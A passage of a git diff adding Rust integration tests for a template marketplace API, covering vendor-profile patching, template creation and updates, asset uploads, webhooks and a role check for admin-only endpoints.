+    assert_eq!("acct_123", vendor_profile["payout_account_ref"]);
+    assert_eq!(json!({"country":"DE"}), vendor_profile["metadata"]);
+    assert!(vendor_profile["created_at"].is_string());
+    assert!(vendor_profile["updated_at"].is_string());
+}
+
+#[tokio::test]
+async fn admin_patch_vendor_profile_creates_profile_when_missing() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    let token = create_admin_jwt();
+    let template_id = insert_template(
+        &app.db_pool,
+        "vendor-user-3",
+        "vendor-profile-patch-create-template",
+    )
+    .await;
+
+    let response = reqwest::Client::new()
+        .patch(format!(
+            "{}/api/admin/templates/{}/vendor-profile",
+            app.address, template_id
+        ))
+        .header("Authorization", format!("Bearer {}", token))
+        .json(&json!({
+            "verification_status": "pending",
+            "onboarding_status": "in_progress",
+            "payout_provider": "stripe_connect",
+            "payout_account_ref": "acct_pending",
+            "metadata": {"country": "NL"}
+        }))
+        .send()
+        .await
+        .expect("Failed to patch vendor profile");
+
+    assert_eq!(StatusCode::OK, response.status());
+
+    let detail = fetch_template_detail(&app.address, &template_id, &create_admin_jwt()).await;
+    assert_eq!(StatusCode::OK, detail.status());
+
+    let body: Value = detail
+        .json()
+        .await
+        .expect("detail response should be valid JSON");
+    let vendor_profile = &body["item"]["vendor_profile"];
+
+    assert_eq!("vendor-user-3", vendor_profile["creator_user_id"]);
+    assert_eq!("pending", vendor_profile["verification_status"]);
+    assert_eq!("in_progress", vendor_profile["onboarding_status"]);
+    assert_eq!(false, vendor_profile["payouts_enabled"]);
+    assert_eq!("stripe_connect", vendor_profile["payout_provider"]);
+    assert_eq!("acct_pending", vendor_profile["payout_account_ref"]);
+    assert_eq!(json!({"country":"NL"}), vendor_profile["metadata"]);
+    assert!(vendor_profile["created_at"].is_string());
+    assert!(vendor_profile["updated_at"].is_string());
+}
+
+#[tokio::test]
+async fn admin_patch_vendor_profile_preserves_unspecified_fields() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    let token = create_admin_jwt();
+    let template_id = insert_template(
+        &app.db_pool,
+        "vendor-user-4",
+        "vendor-profile-patch-update-template",
+    )
+    .await;
+
+    sqlx::query(
+        r#"INSERT INTO marketplace_vendor_profile (
+            creator_user_id,
+            verification_status,
+            onboarding_status,
+            payouts_enabled,
+            payout_provider,
+            payout_account_ref,
+            metadata
+        )
+        VALUES ($1, 'verified', 'completed', true, 'stripe_connect', 'acct_live', '{"country":"DE","tier":"gold"}'::jsonb)"#,
+    )
+    .bind("vendor-user-4")
+    .execute(&app.db_pool)
+    .await
+    .expect("Failed to insert vendor profile");
+
+    let response = reqwest::Client::new()
+        .patch(format!(
+            "{}/api/admin/templates/{}/vendor-profile",
+            app.address, template_id
+        ))
+        .header("Authorization", format!("Bearer {}", token))
+        .json(&json!({
+            "payouts_enabled": false,
+            "metadata": {"country": "FR"}
+        }))
+        .send()
+        .await
+        .expect("Failed to patch vendor profile");
+
+    assert_eq!(StatusCode::OK, response.status());
+
+    let detail = fetch_template_detail(&app.address, &template_id, &create_admin_jwt()).await;
+    assert_eq!(StatusCode::OK, detail.status());
+
+    let body: Value = detail
+        .json()
+        .await
+        .expect("detail response should be valid JSON");
+    let vendor_profile = &body["item"]["vendor_profile"];
+
+    assert_eq!("vendor-user-4", vendor_profile["creator_user_id"]);
+    assert_eq!("verified", vendor_profile["verification_status"]);
+    assert_eq!("completed", vendor_profile["onboarding_status"]);
+    assert_eq!(false, vendor_profile["payouts_enabled"]);
+    assert_eq!("stripe_connect", vendor_profile["payout_provider"]);
+    assert_eq!("acct_live", vendor_profile["payout_account_ref"]);
+    assert_eq!(json!({"country":"FR"}), vendor_profile["metadata"]);
+}
+
+#[tokio::test]
+async fn admin_patch_vendor_profile_rejects_invalid_status_values() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    let template_id = insert_template(
+        &app.db_pool,
+        "vendor-user-5",
+        "vendor-profile-invalid-status-template",
+    )
+    .await;
+
+    let response = reqwest::Client::new()
+        .patch(format!(
+            "{}/api/admin/templates/{}/vendor-profile",
+            app.address, template_id
+        ))
+        .header("Authorization", format!("Bearer {}", create_admin_jwt()))
+        .json(&json!({
+            "verification_status": "not-a-real-status"
+        }))
+        .send()
+        .await
+        .expect("Failed to patch vendor profile");
+
+    assert_eq!(StatusCode::BAD_REQUEST, response.status());
+}
+
+#[tokio::test]
+async fn admin_patch_vendor_profile_requires_admin_role() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    let template_id = insert_template(
+        &app.db_pool,
+        "vendor-user-6",
+        "vendor-profile-forbidden-template",
+    )
+    .await;
+
+    let response = reqwest::Client::new()
+        .patch(format!(
+            "{}/api/admin/templates/{}/vendor-profile",
+            app.address, template_id
+        ))
+        .header(
+            "Authorization",
+            format!("Bearer {}", {
+                use base64::{engine::general_purpose::URL_SAFE_NO_PAD, Engine};
+                let header = json!({"alg": "HS256", "typ": "JWT"});
+                let payload = json!({
+                    "role": "group_user",
+                    "email": "user@test.com",
+                    "exp": (Utc::now() + Duration::minutes(30)).timestamp(),
+                });
+                format!(
+                    "{}.{}.{}",
+                    URL_SAFE_NO_PAD.encode(header.to_string()),
+                    URL_SAFE_NO_PAD.encode(payload.to_string()),
+                    "test_signature"
+                )
+            }),
+        )
+        .json(&json!({
+            "verification_status": "pending"
+        }))
+        .send()
+        .await
+        .expect("Failed to patch vendor profile");
+
+    assert_eq!(StatusCode::FORBIDDEN, response.status());
+}
diff --git a/tests/marketplace_create_template.rs b/tests/marketplace_create_template.rs
new file mode 100644
index 00000000..e7ca3175
--- /dev/null
+++ b/tests/marketplace_create_template.rs
@@ -0,0 +1,1385 @@
+#![allow(clippy::await_holding_lock)]
+
+mod common;
+
+use reqwest::{Client, Response, StatusCode};
+use serde_json::{json, Value};
+use std::sync::{Mutex, OnceLock};
+use uuid::Uuid;
+use wiremock::matchers::{method, path};
+use wiremock::{Mock, MockServer, ResponseTemplate};
+
+async fn create_template(
+    client: &Client,
+    address: &str,
+    token: &str,
+    name: &str,
+    slug: &str,
+) -> Response {
+    create_template_with_body(
+        client,
+        address,
+        token,
+        json!({
+            "name": name,
+            "slug": slug,
+        }),
+    )
+    .await
+}
+
+async fn create_template_with_body(
+    client: &Client,
+    address: &str,
+    token: &str,
+    body: Value,
+) -> Response {
+    client
+        .post(format!("{}/api/templates", address))
+        .bearer_auth(token)
+        .json(&body)
+        .send()
+        .await
+        .expect("Failed to send template create request")
+}
+
+async fn list_my_templates(client: &Client, address: &str, token: &str) -> Value {
+    client
+        .get(format!("{}/api/templates/mine", address))
+        .bearer_auth(token)
+        .send()
+        .await
+        .expect("Failed to fetch my templates")
+        .json()
+        .await
+        .expect("Templates response should be valid JSON")
+}
+
+struct EnvGuard {
+    key: &'static str,
+    previous: Option<String>,
+}
+
+impl EnvGuard {
+    fn set(key: &'static str, value: &str) -> Self {
+        let previous = std::env::var(key).ok();
+        std::env::set_var(key, value);
+        Self { key, previous }
+    }
+}
+
+impl Drop for EnvGuard {
+    fn drop(&mut self) {
+        if let Some(previous) = &self.previous {
+            std::env::set_var(self.key, previous);
+        } else {
+            std::env::remove_var(self.key);
+        }
+    }
+}
+
+fn env_lock() -> &'static Mutex<()> {
+    static LOCK: OnceLock<Mutex<()>> = OnceLock::new();
+    LOCK.get_or_init(|| Mutex::new(()))
+}
+
+fn marketplace_storage_test_configuration() -> stacker::configuration::Settings {
+    let mut configuration =
+        stacker::configuration::get_configuration().expect("Failed to get configuration");
+    configuration.marketplace_assets.enabled = true;
+    configuration.marketplace_assets.current_env = "test".to_string();
+    configuration.marketplace_assets.endpoint_url = "https://objects.trydirect.test".to_string();
+    configuration.marketplace_assets.region = "eu-central".to_string();
+    configuration.marketplace_assets.access_key_id = "marketplace-test-access".to_string();
+    configuration.marketplace_assets.secret_access_key = "marketplace-test-secret".to_string();
+    configuration.marketplace_assets.bucket_test = "marketplace-assets-test".to_string();
+    configuration.marketplace_assets.server_side_encryption = Some("AES256".to_string());
+    configuration
+}
+
+#[tokio::test]
+async fn create_template_with_duplicate_slug_by_different_user_returns_409() {
+    let app = match common::spawn_app_two_users().await {
+        Some(app) => app,
+        None => return,
+    };
+    let client = Client::new();
+
+    let first = create_template(
+        &client,
+        &app.address,
+        common::USER_A_TOKEN,
+        "User A Template",
+        "duplicate-marketplace-slug",
+    )
+    .await;
+    assert_eq!(StatusCode::CREATED, first.status());
+
+    let second = create_template(
+        &client,
+        &app.address,
+        common::USER_B_TOKEN,
+        "User B Template",
+        "duplicate-marketplace-slug",
+    )
+    .await;
+    assert_eq!(StatusCode::CONFLICT, second.status());
+
+    let body: Value = second
+        .json()
+        .await
+        .expect("Conflict response should be valid JSON");
+    let message = body["message"]
+        .as_str()
+        .expect("Conflict response should include a message");
+    assert!(
+        message.contains("already in use"),
+        "Conflict message should explain the slug collision: {message}"
+    );
+    assert!(
+        message.contains("duplicate-marketplace-slug"),
+        "Conflict message should include the conflicting slug: {message}"
+    );
+}
+
+#[tokio::test]
+async fn create_template_same_slug_same_user_updates_existing_template() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let client = Client::new();
+
+    let first = create_template(
+        &client,
+        &app.address,
+        "test-bearer-token",
+        "Original Template",
+        "same-user-upsert-slug",
+    )
+    .await;
+    assert_eq!(StatusCode::CREATED, first.status());
+    let first_body: Value = first
+        .json()
+        .await
+        .expect("Create response should be valid JSON");
+    let first_id = first_body["item"]["id"]
+        .as_str()
+        .expect("Created template should include an id")
+        .to_string();
+
+    let second = create_template_with_body(
+        &client,
+        &app.address,
+        "test-bearer-token",
+        json!({
+            "name": "Renamed Template",
+            "slug": "same-user-upsert-slug",
+            "version": "1.0.0",
+            "stack_definition": {
+                "services": {
+                    "web": { "image": "nginx:1.28" }
+                }
+            },
+            "changelog": "Updated stack definition"
+        }),
+    )
+    .await;
+    assert_eq!(StatusCode::CREATED, second.status());
+    let second_body: Value = second
+        .json()
+        .await
+        .expect("Second create response should be valid JSON");
+    let second_id = second_body["item"]["id"]
+        .as_str()
+        .expect("Updated template should include an id");
+    assert_eq!(
+        first_id, second_id,
+        "Same-user duplicate slug should upsert"
+    );
+    assert_eq!(
+        Some("Renamed Template"),
+        second_body["item"]["name"].as_str(),
+        "Second request should update template metadata"
+    );
+    let mine_response = client
+        .get(format!("{}/api/templates/mine", app.address))
+        .bearer_auth("test-bearer-token")
+        .send()
+        .await
+        .expect("Failed to load templates after same-user upsert");
+    assert_eq!(StatusCode::OK, mine_response.status());
+    let mine_body: Value = mine_response
+        .json()
+        .await
+        .expect("Mine response should be valid JSON");
+    let updated_template = mine_body["list"]
+        .as_array()
+        .and_then(|templates| {
+            templates
+                .iter()
+                .find(|template| template["slug"] == "same-user-upsert-slug")
+        })
+        .expect("Expected to find the upserted template");
+    assert_eq!(Some("1.0.0"), updated_template["version"].as_str());
+    assert_eq!(
+        Some("Updated stack definition"),
+        updated_template["changelog"].as_str()
+    );
+}
+
+#[tokio::test]
+async fn create_template_returns_infrastructure_requirements_when_provided() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let client = Client::new();
+
+    let response = create_template_with_body(
+        &client,
+        &app.address,
+        "test-bearer-token",
+        json!({
+            "name": "Requirements Template",
+            "slug": "requirements-template",
+            "infrastructure_requirements": {
+                "supported_clouds": ["hetzner", "aws"],
+                "supported_os": ["ubuntu-22.04"],
+                "min_ram_mb": 2048,
+                "min_disk_gb": 20,
+                "min_cpu_cores": 2
+            }
+        }),
+    )
+    .await;
+
+    assert_eq!(StatusCode::CREATED, response.status());
+
+    let body: Value = response
+        .json()
+        .await
+        .expect("Create response should be valid JSON");
+
+    assert_eq!(
+        json!({
+            "supported_clouds": ["hetzner", "aws"],
+            "supported_os": ["ubuntu-22.04"],
+            "min_ram_mb": 2048,
+            "min_disk_gb": 20,
+            "min_cpu_cores": 2
+        }),
+        body["item"]["infrastructure_requirements"]
+    );
+}
+
+#[tokio::test]
+async fn update_template_persists_infrastructure_requirements() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let client = Client::new();
+
+    let create_response = create_template(
+        &client,
+        &app.address,
+        "test-bearer-token",
+        "Updatable Template",
+        "updatable-template",
+    )
+    .await;
+    assert_eq!(StatusCode::CREATED, create_response.status());
+    let create_body: Value = create_response
+        .json()
+        .await
+        .expect("Create response should be valid JSON");
+    let template_id = create_body["item"]["id"]
+        .as_str()
+        .expect("Created template should include an id");
+
+    let update_response = client
+        .put(format!("{}/api/templates/{}", app.address, template_id))
+        .bearer_auth("test-bearer-token")
+        .json(&json!({
+            "infrastructure_requirements": {
+                "supported_clouds": ["digitalocean"],
+                "min_ram_mb": 1024
+            }
+        }))
+        .send()
+        .await
+        .expect("Failed to update template");
+    assert_eq!(StatusCode::OK, update_response.status());
+
+    let mine = list_my_templates(&client, &app.address, "test-bearer-token").await;
+    let templates = mine["list"]
+        .as_array()
+        .expect("Mine response should contain a list");
+    let template = templates
+        .iter()
+        .find(|template| template["slug"] == "updatable-template")
+        .expect("Updated template should be present in my templates");
+
+    assert_eq!(
+        json!({
+            "supported_clouds": ["digitalocean"],
+            "min_ram_mb": 1024
+        }),
+        template["infrastructure_requirements"]
+    );
+}
+
+#[tokio::test]
+async fn create_template_persists_assets_from_initial_version_payload() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let client = Client::new();
+
+    let response = create_template_with_body(
+        &client,
+        &app.address,
+        "test-bearer-token",
+        json!({
+            "name": "Asset Payload Template",
+            "slug": "asset-payload-template",
+            "version": "1.0.0",
+            "stack_definition": {
+                "services": {
+                    "web": { "image": "nginx:1.27" }
+                }
+            },
+            "assets": [
+                {
+                    "storage_provider": "hetzner-object-storage",
+                    "bucket": "marketplace-assets-test",
+                    "key": "templates/template-1/versions/1.0.0/assets/abc12345/bundle.tgz",
+                    "filename": "bundle.tgz",
+                    "sha256": "abc12345",
+                    "size": 2048,
+                    "content_type": "application/gzip",
+                    "decompress": true
+                }
+            ]
+        }),
+    )
+    .await;
+
+    assert_eq!(StatusCode::CREATED, response.status());
+
+    let body: Value = response
+        .json()
+        .await
+        .expect("Create response should be valid JSON");
+    let template_id = body["item"]["id"]
+        .as_str()
+        .expect("Created template should include an id");
+
+    let persisted_assets: Value = sqlx::query_scalar(
+        r#"SELECT assets FROM stack_template_version WHERE template_id = $1::uuid AND is_latest = true"#,
+    )
+    .bind(Uuid::parse_str(template_id).expect("Template id should be a UUID"))
+    .fetch_one(&app.db_pool)
+    .await
+    .expect("Expected latest version assets to persist");
+
+    assert_eq!(
+        json!([
+            {
+                "storage_provider": "hetzner-object-storage",
+                "bucket": "marketplace-assets-test",
+                "key": "templates/template-1/versions/1.0.0/assets/abc12345/bundle.tgz",
+                "filename": "bundle.tgz",
+                "sha256": "abc12345",
+                "size": 2048,
+                "content_type": "application/gzip",
+                "decompress": true
+            }
+        ]),
+        persisted_assets
+    );
+}
+
+#[tokio::test]
+async fn list_my_templates_includes_latest_version_contract_fields() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let client = Client::new();
+
+    let response = create_template_with_body(
+        &client,
+        &app.address,
+        "test-bearer-token",
+        json!({
+            "name": "Versioned Template",
+            "slug": "versioned-template",
+            "version": "1.3.0",
+            "stack_definition": {
+                "services": {
+                    "web": { "image": "nginx:1.27" }
+                }
+            },
+            "changelog": "Adds runtime contract fields",
+            "config_files": [
+                {"path": "/etc/app/config.yaml", "content": "runtimeBundle: enabled"}
+            ],
+            "assets": [
+                {
+                    "storage_provider": "hetzner-object-storage",
+                    "bucket": "marketplace-assets-test",
+                    "key": "templates/versioned-template/versions/1.3.0/assets/abc12345/bundle.tgz",
+                    "filename": "bundle.tgz",
+                    "sha256": "abc12345",
+                    "size": 1024,
+                    "content_type": "application/gzip",
+                    "decompress": true
+                }
+            ],
+            "seed_jobs": [
+                {"name": "seed-db", "command": "bin/seed-db.sh"}
+            ],
+            "post_deploy_hooks": [
+                {"name": "warm-cache", "command": "bin/warm-cache.sh"}
+            ],
+            "update_mode_capabilities": {
+                "mode_self_managed": true,
+                "mode_managed_status_panel": true
+            }
+        }),
+    )
+    .await;
+    assert_eq!(StatusCode::CREATED, response.status());
+
+    let mine = list_my_templates(&client, &app.address, "test-bearer-token").await;
+    let template = mine["list"]
+        .as_array()
+        .and_then(|templates| {
+            templates
+                .iter()
+                .find(|template| template["slug"] == "versioned-template")
+        })
+        .expect("Versioned template should be listed");
+
+    assert_eq!(json!("1.3.0"), template["version"]);
+    assert_eq!(json!("Adds runtime contract fields"), template["changelog"]);
+    assert_eq!(
+        json!([{ "path": "/etc/app/config.yaml", "content": "runtimeBundle: enabled" }]),
+        template["config_files"]
+    );
+    assert_eq!(
+        json!(1),
+        template["assets"]
+            .as_array()
+            .map(|items| items.len())
+            .unwrap_or(0)
+    );
+    assert_eq!(
+        json!(1),
+        template["seed_jobs"]
+            .as_array()
+            .map(|items| items.len())
+            .unwrap_or(0)
+    );
+    assert_eq!(
+        json!(1),
+        template["post_deploy_hooks"]
+            .as_array()
+            .map(|items| items.len())
+            .unwrap_or(0)
+    );
+    assert_eq!(
+        json!({
+            "mode_self_managed": true,
+            "mode_managed_status_panel": true
+        }),
+        template["update_mode_capabilities"]
+    );
+}
+
+#[tokio::test]
+async fn update_template_persists_latest_version_contract_fields_for_drafts() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let client = Client::new();
+
+    let create_response = create_template_with_body(
+        &client,
+        &app.address,
+        "test-bearer-token",
+        json!({
+            "name": "Draft Contract Update Template",
+            "slug": "draft-contract-update-template",
+            "version": "1.0.0",
+            "stack_definition": {
+                "services": {
+                    "web": { "image": "nginx:1.27" }
+                }
+            }
+        }),
+    )
+    .await;
+    assert_eq!(StatusCode::CREATED, create_response.status());
+
+    let create_body: Value = create_response
+        .json()
+        .await
+        .expect("Create response should be valid JSON");
+    let template_id = create_body["item"]["id"]
+        .as_str()
+        .expect("Created template should include an id");
+
+    let update_response = client
+        .put(format!("{}/api/templates/{}", app.address, template_id))
+        .bearer_auth("test-bearer-token")
+        .json(&json!({
+            "version": "1.2.0",
+            "stack_definition": {
+                "services": {
+                    "web": { "image": "nginx:1.28" }
+                }
+            },
+            "category_code": "developer-tools",
+            "definition_format": "json",
+            "changelog": "Adds draft update persistence",
+            "required_plan_name": "professional",
+            "config_files": [
+                {
+                    "path": "/etc/app/config.yaml",
+                    "content": "runtimeBundle: enabled"
+                }
+            ],
+            "assets": [
+                {
+                    "storage_provider": "hetzner-object-storage",
+                    "bucket": "marketplace-assets-test",
+                    "key": "templates/template-1/versions/1.2.0/assets/def67890/bundle.tgz",
+                    "filename": "bundle.tgz",
+                    "sha256": "def67890",
+                    "size": 4096,
+                    "content_type": "application/gzip",
+                    "decompress": true
+                }
+            ],
+            "seed_jobs": [
+                {
+                    "name": "seed-db",
+                    "command": "bin/seed-db.sh"
+                }
+            ],
+            "post_deploy_hooks": [
+                {
+                    "name": "warm-cache",
+                    "command": "bin/warm-cache.sh"
+                }
+            ],
+            "update_mode_capabilities": {
+                "mode_self_managed": true,
+                "mode_managed_status_panel": true
+            }
+        }))
+        .send()
+        .await
+        .expect("Failed to update template");
+    assert_eq!(StatusCode::OK, update_response.status());
+
+    let latest_version: Value = sqlx::query_scalar(
+        r#"SELECT jsonb_build_object(
+                'version', version,
+                'stack_definition', stack_definition,
+                'definition_format', definition_format,
+                'changelog', changelog,
+                'config_files', config_files,
+                'assets', assets,
+                'seed_jobs', seed_jobs,
+                'post_deploy_hooks', post_deploy_hooks,
+                'update_mode_capabilities', update_mode_capabilities
+            )
+            FROM stack_template_version
+            WHERE template_id = $1::uuid AND is_latest = true"#,
+    )
+    .bind(Uuid::parse_str(template_id).expect("Template id should be a UUID"))
+    .fetch_one(&app.db_pool)
+    .await
+    .expect("Expected latest version contract to persist");
+
+    assert_eq!(json!("1.2.0"), latest_version["version"]);
+    assert_eq!(json!("json"), latest_version["definition_format"]);
+    assert_eq!(
+        json!("Adds draft update persistence"),
+        latest_version["changelog"]
+    );
+    assert_eq!(
+        json!([{ "path": "/etc/app/config.yaml", "content": "runtimeBundle: enabled" }]),
+        latest_version["config_files"]
+    );
+    assert_eq!(
+        json!([
+            {
+                "storage_provider": "hetzner-object-storage",
+                "bucket": "marketplace-assets-test",
+                "key": "templates/template-1/versions/1.2.0/assets/def67890/bundle.tgz",
+                "filename": "bundle.tgz",
+                "sha256": "def67890",
+                "size": 4096,
+                "content_type": "application/gzip",
+                "decompress": true
+            }
+        ]),
+        latest_version["assets"]
+    );
+    assert_eq!(
+        json!([{ "name": "seed-db", "command": "bin/seed-db.sh" }]),
+        latest_version["seed_jobs"]
+    );
+    assert_eq!(
+        json!([{ "name": "warm-cache", "command": "bin/warm-cache.sh" }]),
+        latest_version["post_deploy_hooks"]
+    );
+    assert_eq!(
+        json!({
+            "mode_self_managed": true,
+            "mode_managed_status_panel": true
+        }),
+        latest_version["update_mode_capabilities"]
+    );
+
+    let template_fields: Value = sqlx::query_scalar(
+        r#"SELECT jsonb_build_object(
+                'category_code', c.name,
+                'required_plan_name', t.required_plan_name
+            )
+            FROM stack_template t
+            LEFT JOIN stack_category c ON c.id = t.category_id
+            WHERE t.id = $1::uuid"#,
+    )
+    .bind(Uuid::parse_str(template_id).expect("Template id should be a UUID"))
+    .fetch_one(&app.db_pool)
+    .await
+    .expect("Expected template metadata to persist");
+
+    assert_eq!(json!("developer-tools"), template_fields["category_code"]);
+    assert_eq!(json!("professional"), template_fields["required_plan_name"]);
+}
+
+#[tokio::test]
+async fn create_template_returns_public_ports_when_provided() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let client = Client::new();
+
+    let response = create_template_with_body(
+        &client,
+        &app.address,
+        "test-bearer-token",
+        json!({
+            "name": "Ports Template",
+            "slug": "ports-template",
+            "public_ports": [
+                {"name": "web", "port": 8080},
+                {"name": "https", "port": 443}
+            ]
+        }),
+    )
+    .await;
+
+    assert_eq!(StatusCode::CREATED, response.status());
+
+    let body: Value = response
+        .json()
+        .await
+        .expect("Create response should be valid JSON");
+
+    assert_eq!(
+        json!([
+            {"name": "web", "port": 8080},
+            {"name": "https", "port": 443}
+        ]),
+        body["item"]["public_ports"]
+    );
+}
+
+#[tokio::test]
+async fn create_template_returns_vendor_url_when_provided() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let client = Client::new();
+
+    let response = create_template_with_body(
+        &client,
+        &app.address,
+        "test-bearer-token",
+        json!({
+            "name": "Vendor Template",
+            "slug": "vendor-template",
+            "vendor_url": "https://example.com"
+        }),
+    )
+    .await;
+
+    assert_eq!(StatusCode::CREATED, response.status());
+
+    let body: Value = response
+        .json()
+        .await
+        .expect("Create response should be valid JSON");
+
+    assert_eq!(
+        "https://example.com",
+        body["item"]["vendor_url"]
+            .as_str()
+            .expect("vendor_url should be a string")
+    );
+}
+
+#[tokio::test]
+async fn update_template_persists_public_ports_and_vendor_url() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let client = Client::new();
+
+    let create_response = create_template(
+        &client,
+        &app.address,
+        "test-bearer-token",
+        "Updatable Template",
+        "updatable-ports-template",
+    )
+    .await;
+    assert_eq!(StatusCode::CREATED, create_response.status());
+
+    let template_id = create_response
+        .json::<Value>()
+        .await
+        .expect("Create response should be valid JSON")["item"]["id"]
+        .as_str()
+        .expect("id should be a string")
+        .to_string();
+
+    let update_response = client
+        .put(format!("{}/api/templates/{}", app.address, template_id))
+        .bearer_auth("test-bearer-token")
+        .json(&json!({
+            "public_ports": [{"name": "app", "port": 3000}],
+            "vendor_url": "https://app.example.com/docs"
+        }))
+        .send()
+        .await
+        .expect("Failed to send template update request");
+
+    assert_eq!(StatusCode::OK, update_response.status());
+
+    update_response
+        .json::<Value>()
+        .await
+        .expect("Update response should be valid JSON");
+
+    let response = list_my_templates(&client, &app.address, "test-bearer-token").await;
+    let template = response
+        .get("list")
+        .and_then(|list| list.get(0))
+        .expect("Should return updated template");
+
+    assert_eq!(
+        json!([{"name": "app", "port": 3000}]),
+        template["public_ports"]
+    );
+    assert_eq!(
+        "https://app.example.com/docs",
+        template["vendor_url"]
+            .as_str()
+            .expect("vendor_url should be a string")
+    );
+}
+
+#[tokio::test]
+async fn submit_template_sends_template_submitted_webhook() {
+    let _env_lock = env_lock().lock().expect("env lock should be available");
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let client = Client::new();
+    let mock_user_service = MockServer::start().await;
+    let _url_server_user = EnvGuard::set("URL_SERVER_USER", &mock_user_service.uri());
+    let _user_service_url = EnvGuard::set("USER_SERVICE_URL", &mock_user_service.uri());
+    let _user_service_base_url = EnvGuard::set("USER_SERVICE_BASE_URL", &mock_user_service.uri());
+    let _stacker_service_token = EnvGuard::set("STACKER_SERVICE_TOKEN", "stacker-test-token");
+
+    Mock::given(method("POST"))
+        .and(path("/marketplace/sync"))
+        .respond_with(ResponseTemplate::new(200).set_body_json(json!({
+            "success": true,
+            "message": "ok",
+            "product_id": null
+        })))
+        .mount(&mock_user_service)
+        .await;
+
+    let create_response = create_template(
+        &client,
+        &app.address,
+        "test-bearer-token",
+        "Submit Notification Template",
+        "submit-notification-template",
+    )
+    .await;
+    assert_eq!(StatusCode::CREATED, create_response.status());
+    let create_body: Value = create_response
+        .json()
+        .await
+        .expect("Create response should be valid JSON");
+    let template_id = create_body["item"]["id"]
+        .as_str()
+        .expect("Created template should include an id");
+
+    let submit_response = client
+        .post(format!(
+            "{}/api/templates/{}/submit",
+            app.address, template_id
+        ))
+        .bearer_auth("test-bearer-token")
+        .json(&serde_json::json!({
+            "confirm_no_secrets": true
+        }))
+        .send()
+        .await
+        .expect("Failed to submit template for review");
+    assert_eq!(StatusCode::OK, submit_response.status());
+
+    tokio::time::sleep(std::time::Duration::from_millis(200)).await;
+
+    let requests = mock_user_service
+        .received_requests()
+        .await
+        .expect("Should capture webhook request");
+    let webhook_request = requests
+        .iter()
+        .find(|request| request.url.path() == "/marketplace/sync")
+        .expect("Submit should send marketplace webhook");
+    let payload: Value =
+        serde_json::from_slice(&webhook_request.body).expect("Webhook body should be valid JSON");
+
+    assert_eq!("template_submitted", payload["action"]);
+    assert_eq!(template_id, payload["stack_template_id"]);
+    assert_eq!("submit-notification-template", payload["code"]);
+}
+
+#[tokio::test]
+async fn asset_presign_and_finalize_persist_marketplace_asset_metadata() {
+    let app = match common::spawn_app_with_test_auth_configuration(
+        marketplace_storage_test_configuration(),
+    )
+    .await
+    {
+        Some(app) => app,
+        None => return,
+    };
+    let client = Client::new();
+
+    let create_response = create_template_with_body(
+        &client,
+        &app.address,
+        "test-bearer-token",
+        json!({
+            "name": "Asset Template",
+            "slug": "asset-template",
+            "version": "1.0.0",
+            "stack_definition": {
+                "services": {
+                    "web": { "image": "nginx:1.27" }
+                }
+            }
+        }),
+    )
+    .await;
+    assert_eq!(StatusCode::CREATED, create_response.status());
+
+    let create_body: Value = create_response
+        .json()
+        .await
+        .expect("Create response should be valid JSON");
+    let template_id = create_body["item"]["id"]
+        .as_str()
+        .expect("Created template should include an id")
+        .to_string();
+
+    let presign_response = client
+        .post(format!(
+            "{}/api/v1/templates/{}/assets/presign",
+            app.address, template_id
+        ))
+        .bearer_auth("test-bearer-token")
+        .json(&json!({
+            "filename": "bundle.tgz",
+            "sha256": "abc12345",
+            "size": 2048,
+            "content_type": "application/gzip",
+            "fetch_target": "/bootstrap/bundle.tgz",
+            "immutable": true
+        }))
+        .send()
+        .await
+        .expect("Failed to presign asset upload");
+    assert_eq!(StatusCode::OK, presign_response.status());
+
+    let presign_body: Value = presign_response
+        .json()
+        .await
+        .expect("Presign response should be valid JSON");
+    let asset = presign_body["item"]["asset"].clone();
+    let asset_key = asset["key"]
+        .as_str()
+        .expect("Asset key should be returned")
+        .to_string();
+
+    assert_eq!("PUT", presign_body["item"]["method"]);
+    assert_eq!(
+        Some("AES256"),
+        presign_body["item"]["headers"]["x-amz-server-side-encryption"].as_str()
+    );
+    assert!(presign_body["item"]["url"]
+        .as_str()
+        .expect("Presigned upload URL should be a string")
+        .contains("X-Amz-Signature="));
+    assert!(
+        asset_key.contains("/versions/1.0.0/assets/abc12345/bundle.tgz"),
+        "Asset key should use the immutable versioned layout"
+    );
+
+    let finalize_response = client
+        .post(format!(
+            "{}/api/v1/templates/{}/assets/finalize",
+            app.address, template_id
+        ))
+        .bearer_auth("test-bearer-token")
+        .json(&json!({
+            "bucket": asset["bucket"],
+            "key": asset["key"],
+            "filename": asset["filename"],
+            "sha256": asset["sha256"],
+            "size": asset["size"],
+            "content_type": asset["content_type"],
+            "fetch_target": asset["fetch_target"],
+            "immutable": true
+        }))
+        .send()
+        .await
+        .expect("Failed to finalize asset upload");
+    assert_eq!(StatusCode::OK, finalize_response.status());
+
+    let finalize_body: Value = finalize_response
+        .json()
+        .await
+        .expect("Finalize response should be valid JSON");
+    let persisted_assets = finalize_body["item"]
+        .as_array()
+        .expect("Finalize should return the latest version asset list");
+    assert_eq!(1, persisted_assets.len());
+    assert_eq!(asset_key, persisted_assets[0]["key"]);
+
+    sqlx::query(
+        r#"UPDATE stack_template SET status = 'approved', approved_at = NOW() WHERE id = $1"#,
+    )
+    .bind(Uuid::parse_str(&template_id).expect("Template id should be a UUID"))
+    .execute(&app.db_pool)
+    .await
+    .expect("Failed to mark template approved");
+
+    let detail_response = client
+        .get(format!("{}/api/v1/templates/asset-template", app.address))
+        .send()
+        .await
